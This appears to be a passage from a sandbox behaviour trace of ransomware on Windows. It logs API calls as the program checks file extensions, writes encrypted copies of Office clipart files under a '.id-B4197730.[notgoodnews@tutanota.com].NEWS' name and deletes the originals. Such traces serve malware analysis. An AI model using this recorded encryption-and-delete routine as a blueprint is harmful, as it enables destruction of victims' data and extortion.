Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.868] lstrlenW (lpString=".doc") returned 4 [0086.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.868] lstrlenW (lpString=".docx") returned 5 [0086.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.868] lstrlenW (lpString=".pdf") returned 4 [0086.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.868] lstrlenW (lpString=".xls") returned 4 [0086.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.868] lstrlenW (lpString=".xlsx") returned 5 [0086.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.868] lstrlenW (lpString=".ppt") returned 4 [0086.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.868] lstrlenW (lpString=".zip") returned 4 [0086.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.868] lstrlenW (lpString=".rar") returned 4 [0086.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.868] lstrlenW (lpString=".bz2") returned 4 [0086.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.868] lstrlenW (lpString=".7z") returned 3 [0086.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.868] lstrlenW (lpString=".dbf") returned 4 [0086.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.868] lstrlenW (lpString=".1cd") returned 4 [0086.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.869] lstrlenW (lpString=".jpg") returned 4 [0086.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.869] lstrlenW (lpString=".doc") returned 4 [0086.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.869] lstrlenW (lpString=".docx") returned 5 [0086.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.869] lstrlenW (lpString=".pdf") returned 4 [0086.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.869] lstrlenW (lpString=".xls") returned 4 [0086.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.869] lstrlenW (lpString=".xlsx") returned 5 [0086.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.869] lstrlenW (lpString=".ppt") returned 4 [0086.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.869] lstrlenW (lpString=".zip") returned 4 [0086.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.869] lstrlenW (lpString=".rar") returned 4 [0086.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.869] lstrlenW (lpString=".bz2") returned 4 [0086.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.869] lstrlenW (lpString=".7z") returned 3 [0086.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.869] lstrlenW (lpString=".dbf") returned 4 [0086.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.869] lstrlenW (lpString=".1cd") returned 4 [0086.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0086.869] lstrlenW (lpString=".jpg") returned 4 [0086.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.870] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.870] lstrlenW (lpString="FD01658_.WMF") returned 12 [0086.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.870] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=17924) returned 1 [0086.870] CloseHandle (hObject=0x308) returned 1 [0086.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0086.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.870] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.870] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.871] GetLastError () returned 0x0 [0086.871] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4604, lpOverlapped=0x0) returned 1 [0086.872] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4610, lpOverlapped=0x0) returned 1 [0086.874] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.874] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.874] SetEndOfFile (hFile=0x384) returned 1 [0086.874] CloseHandle (hObject=0x384) returned 1 [0086.874] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.874] SetEndOfFile (hFile=0x308) returned 1 [0086.875] CloseHandle (hObject=0x308) returned 1 [0086.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0086.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.875] lstrlenW (lpString=".doc") returned 4 [0086.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.875] lstrlenW (lpString=".docx") returned 5 [0086.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.875] lstrlenW (lpString=".pdf") returned 4 [0086.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString=".xls") returned 4 [0086.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.876] lstrlenW (lpString=".xlsx") returned 5 [0086.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.876] lstrlenW (lpString=".ppt") returned 4 [0086.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.876] lstrlenW (lpString=".zip") returned 4 [0086.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.876] lstrlenW (lpString=".rar") returned 4 [0086.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString=".bz2") returned 4 [0086.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString=".7z") returned 3 [0086.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.876] lstrlenW (lpString=".dbf") returned 4 [0086.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.876] lstrlenW (lpString=".1cd") returned 4 [0086.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.876] lstrlenW (lpString=".jpg") returned 4 [0086.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.876] lstrlenW (lpString=".doc") returned 4 [0086.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString=".docx") returned 5 [0086.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.876] lstrlenW (lpString=".pdf") returned 4 [0086.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.876] lstrlenW (lpString=".xls") returned 4 [0086.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.876] lstrlenW (lpString=".xlsx") returned 5 [0086.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.877] lstrlenW (lpString=".ppt") returned 4 [0086.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.877] lstrlenW (lpString=".zip") returned 4 [0086.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.877] lstrlenW (lpString=".rar") returned 4 [0086.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.877] lstrlenW (lpString=".bz2") returned 4 [0086.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.877] lstrlenW (lpString=".7z") returned 3 [0086.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.877] lstrlenW (lpString=".dbf") returned 4 [0086.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.877] lstrlenW (lpString=".1cd") returned 4 [0086.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0086.877] lstrlenW (lpString=".jpg") returned 4 [0086.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.877] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.877] lstrlenW (lpString="FD01659_.WMF") returned 12 [0086.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.878] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=31180) returned 1 [0086.878] CloseHandle (hObject=0x308) returned 1 [0086.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0086.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.878] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.878] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.879] GetLastError () returned 0x0 [0086.879] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x79cc, lpOverlapped=0x0) returned 1 [0087.375] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x79d0, lpOverlapped=0x0) returned 1 [0087.376] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.376] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.376] SetEndOfFile (hFile=0x384) returned 1 [0087.376] CloseHandle (hObject=0x384) returned 1 [0087.376] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.376] SetEndOfFile (hFile=0x308) returned 1 [0087.377] CloseHandle (hObject=0x308) returned 1 [0087.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0087.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.378] lstrlenW (lpString=".doc") returned 4 [0087.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.378] lstrlenW (lpString=".docx") returned 5 [0087.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.378] lstrlenW (lpString=".pdf") returned 4 [0087.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.378] lstrlenW (lpString=".xls") returned 4 [0087.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.378] lstrlenW (lpString=".xlsx") returned 5 [0087.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.378] lstrlenW (lpString=".ppt") returned 4 [0087.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.378] lstrlenW (lpString=".zip") returned 4 [0087.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.378] lstrlenW (lpString=".rar") returned 4 [0087.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.378] lstrlenW (lpString=".bz2") returned 4 [0087.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.378] lstrlenW (lpString=".7z") returned 3 [0087.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.379] lstrlenW (lpString=".dbf") returned 4 [0087.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.379] lstrlenW (lpString=".1cd") returned 4 [0087.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.379] lstrlenW (lpString=".jpg") returned 4 [0087.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.379] lstrlenW (lpString=".doc") returned 4 [0087.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.379] lstrlenW (lpString=".docx") returned 5 [0087.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.379] lstrlenW (lpString=".pdf") returned 4 [0087.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.379] lstrlenW (lpString=".xls") returned 4 [0087.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.379] lstrlenW (lpString=".xlsx") returned 5 [0087.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.379] lstrlenW (lpString=".ppt") returned 4 [0087.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.379] lstrlenW (lpString=".zip") returned 4 [0087.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.379] lstrlenW (lpString=".rar") returned 4 [0087.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.379] lstrlenW (lpString=".bz2") returned 4 [0087.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.379] lstrlenW (lpString=".7z") returned 3 [0087.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.379] lstrlenW (lpString=".dbf") returned 4 [0087.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.380] lstrlenW (lpString=".1cd") returned 4 [0087.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0087.380] lstrlenW (lpString=".jpg") returned 4 [0087.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.380] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.380] lstrlenW (lpString="HH00231_.WMF") returned 12 [0087.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.381] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2232) returned 1 [0087.381] CloseHandle (hObject=0x308) returned 1 [0087.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0087.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.381] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.381] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0087.381] GetLastError () returned 0x0 [0087.381] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0087.383] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0087.384] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.384] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.384] SetEndOfFile (hFile=0x384) returned 1 [0087.384] CloseHandle (hObject=0x384) returned 1 [0087.384] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.384] SetEndOfFile (hFile=0x308) returned 1 [0087.385] CloseHandle (hObject=0x308) returned 1 [0087.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0087.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.386] lstrlenW (lpString=".doc") returned 4 [0087.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString=".docx") returned 5 [0087.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.386] lstrlenW (lpString=".pdf") 